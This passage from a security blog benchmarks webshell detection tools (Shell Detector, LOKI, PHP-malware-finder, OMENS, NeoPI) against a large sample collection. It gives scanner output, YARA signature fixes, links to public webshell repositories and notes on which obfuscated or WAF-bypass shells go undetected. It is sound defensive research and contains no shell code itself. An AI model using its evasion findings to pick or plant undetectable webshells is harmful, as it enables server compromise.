href="https://www.google.com/search?q=.htaccess+webshell&amp;ie=utf-8&amp;oe=utf-8&amp;gws_rd=cr&amp;ei=6YP_V4C4IMe3swGvpaOwDQ#q=%22AllowOverride+ALL%22">looking for advice how to turn it on</a>. Thanks <a href="https://twitter.com/tomituominen">Tomi</a> for bringing this to my attention!</p>

<p>Moving forward, when I was collecting samples I focused on specific file formats - the ones that are most popular and prevalent in the wild - ASP.net, JSP, PHP. Some of the files had .TXT extension or contained webshell code disguised as a JPG or GIF file. Moreover, I did not remove <a href="https://en.wikipedia.org/wiki/Adobe_ColdFusion">ColdFusion</a> webshells. For shits and giggles, I left it as a non-popular type of webshell to see how tools would react. Some of them still can be spotted in the wild from time to time (<a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/ColdFusion-Admin-Compromise-Analysis-%28CVE-2010-2861%29/">1</a>,<a href="http://www.pwnag3.com/2013/04/coldfusion-for-pentesters-part-2.html">2</a>).</p>

<p>Overall size of entire collection was more than 1k files. Due to overlaps I needed to deduplicate some files by comparing their hashes, so please relax - no fail here:)</p>

<h3>Test details - methodology</h3>

<p>The overall detection rate was a primary objective for this test. This coefficient was a simple ratio of detected webshells against entire collection. Webshell detection variety  (obfuscated/not obfuscated,  programming languages,  miscellaneous formats) was a second factor. Next on the list was a <a href="https://en.wikipedia.org/wiki/False_positive_rate">false positive ratio</a> and final factor of this test - speed. For tools running under <em>Linux/*nix</em>, I used <a href="https://linux.die.net/man/1/time">time</a> command in order to measure the elapsed time. Speed was only measured for scenarios where full data set was used. Exception was <em>OMENS</em> which is a Windows tool, so it was tested on a different VM.</p>

<p>All above factors were a criteria for tools evaluation. Of course, I am aware that each tool is different and works in a distinct manner, but in the end all of them have the same objective - detect webshells. And that is exactly what was tested. I wanted to find the best tool in two categories:
Overall detection with the smallest false positive ratio
Overall PHP webshell detection with the smallest false positive ratio</p>

<p>At this point it is necessary to mention that for some tools documentation indicated that only specific file formats are supported. As a result I needed to create multiple tailored subsets of my initial data set. PHP webshells are <a href="https://securityintelligence.com/ninety-five-percent-of-webshell-attacks-written-in-php/">the most popular type based on formats nowadays</a>, hence majority of the webshell detection tools supports it. That is a reason for me to test how successful tools are on that field.</p>

<p>All tools were tested in the exact same way. Data sets were uploaded to server and then each tool was fired against them with default ruleset in the following scenarios:</p>

<ul>
<li><a href="https://github.com/emposha/Shell-Detector">Shell Detector</a>

<ul>
<li>All sources (1107)</li>
<li>Only PHP webshells (560)</li>
</ul>
</li>
<li><a href="https://github.com/Neo23x0/Loki">LOKI</a>

<ul>
<li>All sources (1107)</li>
<li>Only PHP webshells (560)</li>
</ul>
</li>
<li><a href="https://github.com/nbs-system/php-malware-finder">PHP-malware-finder</a>

<ul>
<li>All sources (1107)</li>
<li>Only PHP webshells (560)</li>
<li>PHP webshells + PHP valid files (560 + 2480)</li>
</ul>
</li>
<li><a href="https://github.com/OMENScan/OMENS">OMENS</a>

<ul>
<li>All sources (1107)</li>
<li>All sources + valid files (1107 + 4187)</li>
</ul>
</li>
</ul>


<p>NOTE: “valid files” represents the same collection of random files used in <a href="https://dfir.it/blog/2016/07/06/webshells-every-time-the-same-story-dot-dot-dot-part-3/">part 3</a>.</p>

<p>Without a further ado, I hope all is clear now and we can start reviewing test results!</p>

<h3>Shell Detector</h3>

<p>I started with our old friend, Shell Detector. As you may remember, last time it was not our contest winner, but I wanted to test it as it is still being mentioned in <a href="https://digital-forensics.sans.org/summit-archives/dfir14/Closing_the_Door_on_Web_Shells_Anuj_Soni.pdf">many webshell detection writeups</a>.</p>

<p>Shell Detector marks files as suspicious and webshells - it is worth to mention that webshells are also marked as suspicious files (double tag)! I focused only on webshells tag - suspicious was too wide (many false positives) as it was presented <a href="https://dfir.it/blog/2016/07/06/webshells-every-time-the-same-story-dot-dot-dot-part-3/">last time</a>.</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/table_shell.png"></p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/shell_detector.png"></p>

<p>And what were the results? Only 1 out of every 5 files was recognized. Even if I tested only PHP/ASP files, it stayed on the same level of detection. The execution time of a process also was not satisfying - 5 minutes and 16 seconds.</p>

<h3>LOKI</h3>

<p>Second tool in our test should be also familiar to you. <em>LOKI</em> did very well in the previous part of this series and I expected good results also this time. Not wasting your precious time, let’s jump to test results:</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/table_LOKI.png"></p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/LOKI_graph.png"></p>

<p>Honestly, I was surprised that it did not perform so well as I expected. Detection ratio around 60% is NOT a bad score but I was hoping for a much better results based on the <a href="https://dfir.it/blog/2016/07/06/webshells-every-time-the-same-story-dot-dot-dot-part-3/">previous test</a>. Not this time. Please remember that I only used default rulesets provided by each tool.</p>

<p>Analysis of the results gave me a few interesting observations. First of all, <em>LOKI</em> did not detect <a href="https://github.com/wireghoul/htshells">htshells</a>. The absence of detection of these webshells was caused by lack of relevant rules. The situation was a little bit different for <em>Weevely</em> backdoor agents. None of the fifty agents were detected despite the existence of a dedicated rule in the <a href="https://github.com/Neo23x0/signature-base/blob/86e45a3e709ecf64f0998485c2d8ecf29be0c3e4/yara/thor-webshells.yar">thor-webshell.yar</a> ruleset. I must mention here that this rule was created back in 2014 and it&rsquo;s no longer applicable to <em>Weevely</em> 3.x PHP agents (it works just fine for older versions, e.g. 1.1). Additionally, it had a problem with the PHP files from the <a href="https://github.com/tennc/webshell/tree/master/caidao-shell">caidao-shell</a> repository which includes different types of <em>China Chopper</em> webshells and clients. Last but not least, I observed that <em>LOKI</em> had problems with obfuscated files. It was easily observed in results for <a href="https://github.com/bartblaze/PHP-backdoors">PHP-backdoors repository</a> where I noticed only a few hits.</p>

<p>Another part of tests was a false positive ratio. Once again I can say that <em>LOKI</em> was able to overcome this challenge. I tested it twice with two different groups of valid files, both attempts were successful as I did not get any false positives.</p>

<p>Execution time - 39 seconds - was the best out of all tested tools.</p>

<h3>PHP-malware-finder</h3>

<p>And now, I would like to warmly welcome a newcomer to our series - <em>PHP-malware-finder</em>! I learned about it from its authors on Twitter - thank you very much!</p>

<center>
<blockquote class="twitter-tweet" data-cards="hidden" data-lang="en"><p lang="en" dir="ltr"><a href="https://twitter.com/dfir_it">@dfir_it</a> Hello! We read your articles about Webshell and wondered if you would like to test our detection tool: <a href="https://t.co/xCM57EiRGx">https://t.co/xCM57EiRGx</a></p>&mdash; nbs_system (@nbs_system) <a href="https://twitter.com/nbs_system/status/768009458362511361">August 23, 2016</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
</center>


<p>It goes without saying, I was happy to test it. Although, before I move to test results I would like to briefly introduce you to this tool. From <a href="https://github.com/nbs-system/php-malware-finder">Github page</a>:</p>

<blockquote><p>Detection is performed by crawling the filesystem and testing files against a set of <em>YARA</em> rules. Yes, it&rsquo;s that simple!.</p></blockquote>

<p><em>YARA</em> plus effective rules sounded like a good recipe for decent results in our tests. In addition, authors mentioned a few features which can increase detection of obfuscated files. It all gave me hope for a high percentage of detection.</p>

<p>How does it look like when executed? The user is presented with a simple output without too many details explaining reason for detection - just short information which <em>YARA</em> rules fired (eg. <em>DodgyPhp</em>) or if file was suspiciously short (<em>TooShort</em>):</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>root@kali:~#./phpmalwarefinder ../../../webshell_all/ &gt; ../../../output_phpmalwarefinder
</span><span class='line'>TooShort ../../../webshell_all/PHP-backdoors/Obfuscated/CWShell_c9a5115093caa2ce9411df1111a76ffd591dd4a4.php
</span><span class='line'>TooShort ../../../webshell_all/PHP-backdoors/Obfuscated/DKShell_25d8e17abfa70370ab64ccc1f2e753a9082e8b7e.php
</span><span class='line'>TooShort ../../../webshell_all/PHP-backdoors/Obfuscated/r00tshell_6dc8b59781183d4061990b8b0fdb617063b8677d.php
</span><span class='line'>TooShort ../../../webshell_all/PHP-backdoors/Obfuscated/WSOShell_7b7394a01b0d5b2cf0477f3d01cbf9226fb7b2b4.php
</span><span class='line'>TooShort ../../../webshell_all/php-webshells/hiddens shell v1.php
</span><span class='line'>DodgyStrings ../../../webshell_all//public-shell/devilzShell.php
</span><span class='line'>Websites ../../../webshell_all//public-shell/devilzShell.php
</span><span class='line'>DodgyPhp ../../../webshell_all//public-shell/devilzShell.php
</span><span class='line'>DangerousPhp ../../../webshell_all//public-shell/devilzShell.php
</span><span class='line'>SuspiciousEncoding ../../../webshell_all//public-shell/WSO.php</span></code></pre></td></tr></table></div></figure>


<p>I noticed a few things that might be noteworthy:</p>

<ul>
<li><strong>Verbose mode</strong>. It executes <em>YARA</em> with “-s” option (print matching strings). Output is not formated and, as a result, not very readable.</li>
<li><strong>Fast mode</strong>. Again it uses another <em>YARA</em> functionality (-f, fast scan). Fast mode stops searching for strings when they were already found. In fast mode you won&rsquo;t see all occurrences of the string in <em>YARA&rsquo;s</em> output when using verbose mode, just the first one will appear. In our test, it was not game changer - scan took only one second less.</li>
<li><strong>Results</strong>. There appears to be a small thing when printing system paths. As you can see on listing above I added a slash symbol (/) at the end of the path where all webshells were uploaded. That slash sign was replicated at last once in some of the results. This is a result of the method in which <a href="https://github.com/VirusTotal/yara/blob/master/yara.c#L392">YARA combines strings</a>. It generated stealthy updates when I used sort and uniq tools. This might also affect your workflow if you plan to integrate this tool with alerting systems (e.g. SIEM). Be careful!</li>
</ul>


<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>TooShort ../../../webshell_all/webshell/php/h6ss.php
</span><span class='line'>ObfuscatedPhp ../../../webshell_all//webshell/php/h6ss.php</span></code></pre></td></tr></table></div></figure>


<p>Let’s move on to our test and check the <em>PHP-malware-finder</em>!</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/table_PMF.png"></p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/phpfinder_graph.png"></p>

<p>As you can observe, <em>PHP-malware-finder(PMF)</em> achieved better results than <em>LOKI</em>. I need to mention here that to perform full test with <em>PMF</em> I had to execute it twice and select language (-l switch) to either PHP or ASP. The reason for that was the way <em>PMF</em> process rules. When used with -l switch, tool process suspected file with <a href="https://github.com/nbs-system/php-malware-finder/blob/master/php-malware-finder/php.yar">php.yar</a> or <a href="https://github.com/nbs-system/php-malware-finder/blob/master/php-malware-finder/asp.yar">asp.yar</a> respectively. First rule in both files is a global private rule and checks whether the file format is compatible with the user choice. If not, processing of the file stops at this point, it is because of the way how <a href="https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7">global rules  work</a>. Ultimately, I merged the outputs to receive final result.</p>

<p>Regarding the result from PHP testset, I was super glad - big WOW! Almost 80% looked really good. There was space for improvement, but that was something I considered as a really promising foundation for further development. Much better than <em>LOKI</em> with default <em>YARA</em> ruleset. One more thing was false positive rate level. It was extremely low and could be tolerant in production.</p>

<p>I expected execution time to be close to <em>LOKI</em> as detection methods of both tools are similar. As it sometimes happens, reality does not always meet expectations. <em>PHP-malware-finder</em>, when executed without any additional switches, needed 1 minute and 41 seconds to complete the scan</p>

<h3>OMENS</h3>

<p>Next debut here! Yet again I learned about this tool from Twitter (I love social media!).</p>

<center>
<blockquote class="twitter-tweet" data-conversation="none" data-cards="hidden" data-lang="en"><p lang="en" dir="ltr"><a href="https://twitter.com/lennyzeltser">@lennyzeltser</a> <a href="https://twitter.com/maridegrazia">@maridegrazia</a> <a href="https://twitter.com/dfir_it">@dfir_it</a> if you get a chance checkout *OMENS*. I&#39;m kinda partial to it ;)<a href="https://t.co/dMlbWYyPei">https://t.co/dMlbWYyPei</a></p>&mdash; Quix0te (@OMENScan) <a href="https://twitter.com/OMENScan/status/751241875021979650">July 8, 2016</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
</center>


<p>Of course, I tested it with pleasure!</p>

<p><em>OMENS</em> is free and closed source. <a href="https://github.com/OMENScan/OMENS">Author explains</a> reason for this decision. Even though I am personally a fan of open source tools, I can think of various reasons for making such choice and I respect that. For more information about this tool I recommend you to read  <a href="https://github.com/OMENScan/OMENS/blob/master/OMENS.html">official documentation</a>.</p>

<p>I am happy to see a dedicated tool for Windows OS, as most of the available tools focus on *nix systems. Output looks pretty nice. It contains detailed information about each hit, including full path to an affected file plus information which files were added since the last scan. Below is a sample output:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>(New) C:\Inetpub\wwwroot\webshell_all\irongeek\content.gif
</span><span class='line'>  (eval() Signature Found in file: C:\Inetpub\wwwroot\webshell_all\irongeek\content.gif
</span><span class='line'>   + Possible BackDoor script or exploitable unsanitized input function
</span><span class='line'>
</span><span class='line'>  (base64_decode() Signature Found in file: C:\Inetpub\wwwroot\webshell_all\irongeek\content.gif
</span><span class='line'>   + Known BackDoor script delivery mechanism
</span><span class='line'>
</span><span class='line'>(New) C:\Inetpub\wwwroot\webshell_all\PHP-backdoors\Deobfuscated\1n73ctionShell_abc00305dcfabe889507832e7385af937b94350d.php
</span><span class='line'>  (default_action*FilesMan) Signature Found in file: C:\Inetpub\wwwroot\webshell_all\PHP-backdoors\Deobfuscated\1n73ctionShell_abc00305dcfabe889507832e7385af937b94350d.php
</span><span class='line'>   + Known BackDoor script signature</span></code></pre></td></tr></table></div></figure>


<p>Another handy feature allows to generate a result file named BadHTML.log. It lists all files marked as suspicious and can be easily used as input to other programs/devices for further analysis or to block traffic.</p>

<p>Final results from test:</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/table_OMENS1.png"></p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/OMENS_graph1.png"></p>

<p>Detection ratio from all sources was similar to <em>YARA</em> based tools - 56%.  Problem appeared with high false positive rates - more than 8%. Documentation doesn’t provide any information about limitation of supported file formats, so high FPs ratio likely was not an effect of badly composed testing set. Unfortunately, this feature can cause a lot of hassle for people tasked with reviewing alerts. According to our goals, I performed one additional test with only PHP files:</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/table_OMENS2.png"></p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/OMENS_graph_PHP.png"></p>

<p>The results were similar to first test. Good detection rate but high level of false positives - 9,52%. In my opinion it is not feasible to maintain a production tool with so high false positive ratio.  I would recommend this tool if it was possible to easily edit signatures which would allow me to tuning these generating a large amount of FPs and creating new ones to enhance the level of detection. Unfortunately, <em>OMENS</em> in its current shape does not allow these kind of changes.</p>

<p>As it was told at the beginning of this post, I did not test speed of scanning for that tool.</p>

<h3>“Better Together”</h3>

<p>The subtitle of this part is not accidental. (I named it after Jack Johnson&rsquo;s <a href="https://www.youtube.com/watch?v=RfoqELZWcp8">song</a>). Right after my tests were completed, I started thinking how to improve overall detection score to be higher than 90%. Two projects use <em>YARA</em> so naturally, I decided to combine databases of both tools and see if it is going to help.</p>

<p>At the beginning, I compared test results from both tools to see how many detected webshells were not visible by another. The output files from <em>LOKI</em> and <em>PHP-malware-finder</em> were formatted to contain only sorted full paths of matched files. Next I searched for the differences between two files:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>awk  'NR==FNR {a[$1]=$1; next}!($1 in a) {print $0}' Loki_result PHP-malware-finder_result
</span><span class='line'>awk  'NR==FNR {a[$1]=$1; next}!($1 in a) {print $0}' PHP-malware-finder_result Loki_result</span></code></pre></td></tr></table></div></figure>


<p>As soon as I saw result that operation I just wanted to leave for my favourite bar and get a glass of something good. You may asked me why I was so happy. Short answer to that question is a very long list of differences between both files. When I merged the results I got 82.2% detection rate (910 webshells detected). Huge improvement achieved. It was not perfect but it still left me with some tricks up my sleeve  to increase the overall ratio by adding new <em>YARA</em> rules.</p>

<p>Let’s put it all together in one tool. I decided to use <em>LOKI</em> mostly because of scanning speed and logging enabled by default. I copied <code>.yar</code> files to <em>LOKI&rsquo;s</em> <code>signature-base/yara/</code> directory and started testing. As you can imagine it is never that simple. Story of my life. It was not different this time. Both tools use <em>YARA</em> but are build in a different way so there were a few changes that I needed to apply:</p>

<ul>
<li>I removed whitelist checks - pretty nice feature but I decided it would be too big hassle to move it to <em>LOKI</em></li>
<li>One of the rules in the file <a href="https://github.com/nbs-system/php-malware-finder/blob/master/php-malware-finder/bad_php.yar">bad_php.yar</a> contained a small error in regular expression. I corrected the Misc rule by adding a closing bracket:
<code>$chmod = /chmod\s*(.*777<strong>)</strong>/</code></li>
<li>I needed to remove two <a href="https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7#global-rules">global private rules</a> from <a href="https://github.com/nbs-system/php-malware-finder/blob/master/php-malware-finder/asp.yar">asp.yar</a> and <a href="https://github.com/nbs-system/php-malware-finder/blob/master/php-malware-finder/php.yar">php.yar</a>. Both were affecting scanning of files that did not match PHP or ASP characteristics and thus impacting final results.</li>
</ul>


<p>And now is the best part, after resolving problems from above list, our detection ratio increased! <strong>968 shells and 87.44%</strong> accuracy achieved by <em>LOKI</em>. I tested also <em>PHP-malware-finder</em> with last two changes and I noticed much better results than before:</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/table_better.png"></p>

<p>These results were really good, but still it was not our last word!</p>

<p>Do you remember a <a href="https://github.com/sysforensics/YaraRules/blob/master/web/web_shells.yara">ruleset</a> with modification from last part of this series ? Yes, now it was the time to play that card. I did not expect too much, because actual detection ratio was high, but I was not disappointed and I got another three matches, so at that point I had <strong>971 findings (495 findings for PHP files - 88.39%)</strong>.</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/summary.png"></p>

<p>Naturally, main question came to my mind: “What files are still not cover ?!”</p>

<p>Time to answer that question. I had a list of 136 files not detected.  Statistical analysis of the results based on formats showed that most undetected extension was PHP - 65 matches, but it worth to mention that if we consider proportion of tested files to undetected files also based on format then ASP will be on first place - 43 out of 141 files, gives 30,5% undetected ratio. Moreover, TXT files (7 matches in total - 3 PHP, 2 ASP and 2 JSP content inside), one example of ColdFusion and htaccess shell (I was positively surprised!) were still undetected. Additionally, I examined relation between obfuscated and non-obfuscated PHP files (including three hiding behind TXT extension) from collection of undetected files. The graph below present the results:</p>

<p><img class="center" src="http://dfir.it/images/webshell-rise-of-defenders-part4/not_detected.png"></p>

<p>A little deeper look at results gave me a few observations what was not detected. Take a closer look at details:</p>

<ul>
<li>many <em>Unknown</em> shells from <a href="https://github.com/bartblaze/PHP-backdoors">PHP-backdoors</a> repo (mostly obfuscated)</li>
<li>three variants of <em>MailerShell</em> (also <a href="https://github.com/bartblaze/PHP-backdoors">PHP-backdoors</a>)</li>
<li>a few files related to <em>caidao-shell</em> (<a href="https://github.com/tennc/webshell">tennc/webshell repo</a>)</li>
<li>a few files from collection of <em>drag</em> library scripts (<a href="https://github.com/tennc/webshell/tree/master/drag">tennc/webshell/drag repo</a>)</li>
<li>a few WAF bypass files (<em>bypass-waf-$date</em> format from <a href="https://github.com/tennc/webshell/tree/master/php">tennc/webshell/php repo</a>)</li>
</ul>


<p>I would like to go into more details but it is material for different article where I could analyse step by step why these files were undetectable. However, I hope that all above analysis will be a good source for developers tested tools.</p>

<h3>Conclusion</h3>

<p>One sentence to sum up all the above. Do not give up, my blue team friends! Though none of the tested tools achieved 100% success rate, everybody knows and agrees that detection tools cannot be the only layer in your defence strategy. It is something, I have touched upon in the <a href="https://dfir.it/blog/2016/07/06/webshells-every-time-the-same-story-dot-dot-dot-part-3/">last part</a> of this series. Even though, in this post I have highlighted limitations and weaknesses of some tools, my hope is to not discourage anyone from developing and improving community toolset. It is a continual process and learning from each other hopefully helps to make the difference, at the end of the day. Positive result of this research is the fact that by sharing experience and combining work of people from different companies, backgrounds and projects, we can bring tangible benefits to all of us.</p>

<p>Gold medal goes to COOPERATION! As always - keep fighting! Keep defending!</p>

<p>PS. If you write <em>YARA</em> rules for your own use, consider sharing with community and submit them to <a href="http://yararules.com/">YaraRules Project</a>.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Webshells - Every Time the Same Story…(Part 3)]]></title>
    <link href="http://dfir.it/blog/2016/07/06/webshells-every-time-the-same-story-dot-dot-dot-part-3/"/>
    <updated>2016-07-06T14:26:13+02:00</updated>
    <id>http://dfir.it/blog/2016/07/06/webshells-every-time-the-same-story-dot-dot-dot-part-3</id>
    <content type="html"><![CDATA[<p>Last blog <a href="https://dfir.it/blog/2016/01/18/webshells-every-time-the-same-story-dot-dot-dot-part2/">post</a> in this <a href="https://dfir.it/blog/categories/webshell/">series</a> described the analysis of the attack with the use of webshells. Such attacks showed how difficult it is to ensure the security of the entire infrastructure to defend against them. This part focuses on the evaluation of available tools and providing prevention and mitigation recommendations.</p>

<!--more-->


<h3>Webshell detection tools</h3>

<p>I have evaluated the following projects focusing on webshells detection:</p>

<ul>
<li><a href="https://github.com/Neohapsis/NeoPI">NeoPI</a></li>
<li><a href="https://github.com/emposha/Shell-Detector">Shell Detector</a></li>
<li><a href="https://github.com/Neo23x0/Loki">LOKI</a></li>
</ul>


<p>These tools were tested against the files presented in <a href="https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/">part 1</a> with addition of a few new ones:</p>

<ul>
<li><a href="https://www.virustotal.com/en/file/a02258702dda974c0cdf458e8e421e11f468cec88a7c9589a58db4eaafd77df0/analysis/1437730514/">byroe.jpg</a> - webshell hide in an image file</li>
<li><a href="https://www.virustotal.com/en/file/69641befc87f13db62d05ed9be0cc1a09c176e9b1493449c2254ea4632da6a8a/analysis/1437607449/">myluph.php</a> - example of PHP webshell</li>
<li><a href="https://www.virustotal.com/en/file/0ff45454ab1eedfc0bb332cb4995de86949d08154efebece5506fdee3c1886a3/analysis/">webshell.php</a> - simple PHP webshell presented in <a href="https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/">part 1</a></li>
<li><a href="https://virustotal.com/en/file/98b55da66a68aa39635c72e2cf2812a09b0a8734b1456bee9bbea2b86423cbec/analysis/">vero.txt</a> - PHP webshell containing both &ldquo;clean&rdquo; and obfuscated PHP code</li>
<li>myluphdecoded.php - decoded file myluph.php</li>
<li><a href="http://pastebin.com/uXz5bWkA">China Chopper</a> - ASPX <em>chinachopper.aspx</em> and PHP version <em>chinachopper.php</em></li>
<li><a href="http://pastebin.com/L02T4kFp">c99madshell.php</a> - popular C99 webshell</li>
<li><a href="http://pastebin.com/a8VFXq9i">unknownPHP.php</a> - shared by Bart in his <a href="http://bartblaze.blogspot.com/2015/03/c99shell-not-dead.html">blog post</a></li>
</ul>


<p>The conducted tests verified the detection accuracy of all tools when faced with a combination of different webshells mixed with hundreds of valid files from GitHub repositories and other public sources:</p>

<ul>
<li>index.html from different popular websites</li>
<li>ASPX files</li>
<li>PHP files</li>
<li>JavaScript files</li>
</ul>


<h3>NeoPI</h3>

<p>At first, I tested NeoPI. According to project’s <a href="https://github.com/Neohapsis/NeoPI">GitHub page</a>, NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and encrypted content. Below output presents result of running a tool against a set of aforementioned files:</p>

<pre><code>
[[ Total files scanned: 4323 ]]
[[ Total files ignored: 0 ]]
[[ Scan Time: 16.773207 seconds ]]

[[ Average IC for Search ]]
0.0762022597838

[[ Top 10 lowest IC files ]]
  0.0153        ../webshell_db_short/myluph.php<
  0.0168        ../webshell_db_short/vero.txt
  0.0202        ../webshell_db_short/unknownPHP.php
  0.0248        ../webshell_db_short/phpcollection/2.php
  0.0262        ../webshell_db_short/myluphdecoded.php
  0.0268        ../webshell_db_short/phpcollection/wkv3.php
  0.0270        ../webshell_db_short/china.aspx
  0.0284        ../webshell_db_short/phpcollection/agenda.ics.php
  0.0285        ../webshell_db_short/phpcollection/config.xml.php
  0.0289        ../webshell_db_short/phpcollection/uploads.php

[[ Top 10 entropic files for a given search ]]
  6.2409        ../webshell_db_short/phpcollection/phpmailer.lang-zh.php
  6.2355        ../webshell_db_short/phpcollection/phpmailer.lang-zh_cn.php
  6.1932        ../webshell_db_short/unknownPHP.php
  6.1622        ../webshell_db_short/phpcollection/phpmailer.lang-ch.php
  6.0307        ../webshell_db_short/vero.txt
  6.0258        ../webshell_db_short/myluph.php
  6.0151        ../webshell_db_short/phpcollection/phpmailer.lang-ko.php
  5.9169        ../webshell_db_short/phpcollection/phpmailer.lang-ja.php
  5.7736        ../webshell_db_short/phpcollection/1.php
  5.7393        ../webshell_db_short/phpcollection/phpmailer.lang-vi.php

[[ Top 10 longest word files ]]
  554750        ../webshell_db_short/phpcollection/wkv3.php
   11999        ../webshell_db_short/phpcollection/full_dump.php
   11999        ../webshell_db_short/phpcollection/contentobjects.php
    1774        ../webshell_db_short/myluph.php
     660        ../webshell_db_short/vero.txt
     641        ../webshell_db_short/c99shell.php
     547        ../webshell_db_short/phpcollection/EmailAddressValidator.php
     356        ../webshell_db_short/phpcollection/priv.txt
     197        ../webshell_db_short/phpcollection/emission.xml (2).php
     197        ../webshell_db_short/phpcollection/emission.xml.php

[[ Top 10 signature match counts ]]
      85        ../webshell_db_short/c99shell.php
      35        ../webshell_db_short/phpcollection/run-tests.php
      27        ../webshell_db_short/phpcollection/WikiComments.aspx
      24        ../webshell_db_short/phpcollection/MemberSearch.aspx
      22        ../webshell_db_short/phpcollection/CustomPageManagement.aspx
      22        ../webshell_db_short/phpcollection/Comments.aspx
      20        ../webshell_db_short/phpcollection/phpmailerTest.php
      20        ../webshell_db_short/phpcollection/ManageTerms.aspx
      20        ../webshell_db_short/phpcollection/TimestampIntegrationTest.php
      17        ../webshell_db_short/byroe.jpg

[[ Top cumulative ranked files ]]
      56        ../webshell_db_short/myluph.php
      57        ../webshell_db_short/vero.txt
     176        ../webshell_db_short/c99shell.php
     219        ../webshell_db_short/phpcollection/wkv3.php
     225        ../webshell_db_short/phpcollection/1.php
     372        ../webshell_db_short/myluphdecoded.php
     444        ../webshell_db_short/phpcollection/profile.php
     525        ../webshell_db_short/phpcollection/WikiComments.aspx
     570        ../webshell_db_short/phpcollection/uploadpostattachment.aspx
     595        ../webshell_db_short/phpcollection/Fields.aspx
</code></pre>


<p><strong>Pros:</strong></p>

<ul>
<li>detection ratio: 6 out of 9 webshell files</li>
<li>successful detection of clean and obfuscated code of the same webshell</li>
<li>the more complex code structure is, the better results and detection ratio</li>
<li>various methodologies to detect webshells - signatures, index of coincidence (IC), ratio, entropy, longest keyword matching</li>
</ul>


<p><strong>Cons:</strong></p>

<ul>
<li>failed detection of simple one-line webshells (e.g. China Chopper)</li>
<li>false negatives and positives in different categories, including final rankings</li>
<li>manual triage and additional analysis of the highlighted files is required for some of the methodologies (e.g. entropy, keyword matching)</li>
<li>signature database is outdated as the project appears to be not developed anymore</li>
<li>webshells hidden inside of another file format (<em>byroe.jpg</em>) will be not detected in wide spectrum of files - NeoIP produce massive false positive</li>
</ul>


<p>I’ve noticed it would be really helpful to combine summary information about a files detected by more than one heuristic. For instance in my test <em>byroe.jpg</em> was visible in top ten signature matches, longest word and entropy but not in Top cumulative ranked files.</p>

<p>Taking into account that NeoPI wasn’t updated for last 4 years, didn’t detect all types of webshells, generated number of false negatives, it still had quite impressive detection rates of a relatively new webshell samples. I can recommend adding NeoIP to webshell analysis toolbox. InfoSec Institute has a nice <a href="http://resources.infosecinstitute.com/web-shell-detection/">write-up</a> on NeoIP with some additional details.</p>

<h3>Shell Detector</h3>

<p>Shell Detector was a second tool that I have evaluated. I really liked how the results were presented in console:</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part3/shell_detector.png"></p>

<p>There is also a web version available <a href="https://github.com/emposha/PHP-Shell-Detector">here</a>.</p>

<p><strong>Pros:</strong></p>

<ul>
<li>detection ratio: 7 out of 9 webshell files (5 as suspicious + 2 webshell)</li>
<li>successful detection of clean and obfuscated code of the same webshell.</li>
<li>provided final results in clear graphical form</li>
</ul>


<p><strong>Cons:</strong></p>

<ul>
<li>131 false positives based on suspicious word existence</li>
<li>only signature based detection</li>
<li>webshell signature database out of date</li>
<li>sluggish interface when number of results is too high (Web version)</li>
<li>signature database is written in serialized php format (not scalable)</li>
<li><em>byroe.jpg</em> was not detected by Shell Detector - not support JPG files</li>
</ul>


<p>To sum up even though the signature database file appears to be out of date the tool correctly determined almost all files to be malicious. This tool can provide powerful detection capability as long as signature database is kept up to date.</p>

<h3>LOKI</h3>

<p>LOKI presents scan results in a terminal, coloring entries depending on their severity. It also outputs all matches to a single log file. The rules are written in <a href="http://virustotal.github.io/yara/">YARA</a>, easy to use yet very powerful language to identify and classify malware which appears to be a tool of choice by the security industry. According to <a href="https://www.bsk-consulting.de/loki-free-ioc-scanner/">project&rsquo;s website</a> most effective rules were borrowed from the rule sets of his bigger brother THOR APT Scanner. For me, the most interesting were the ones dedicated to webshells detection.</p>

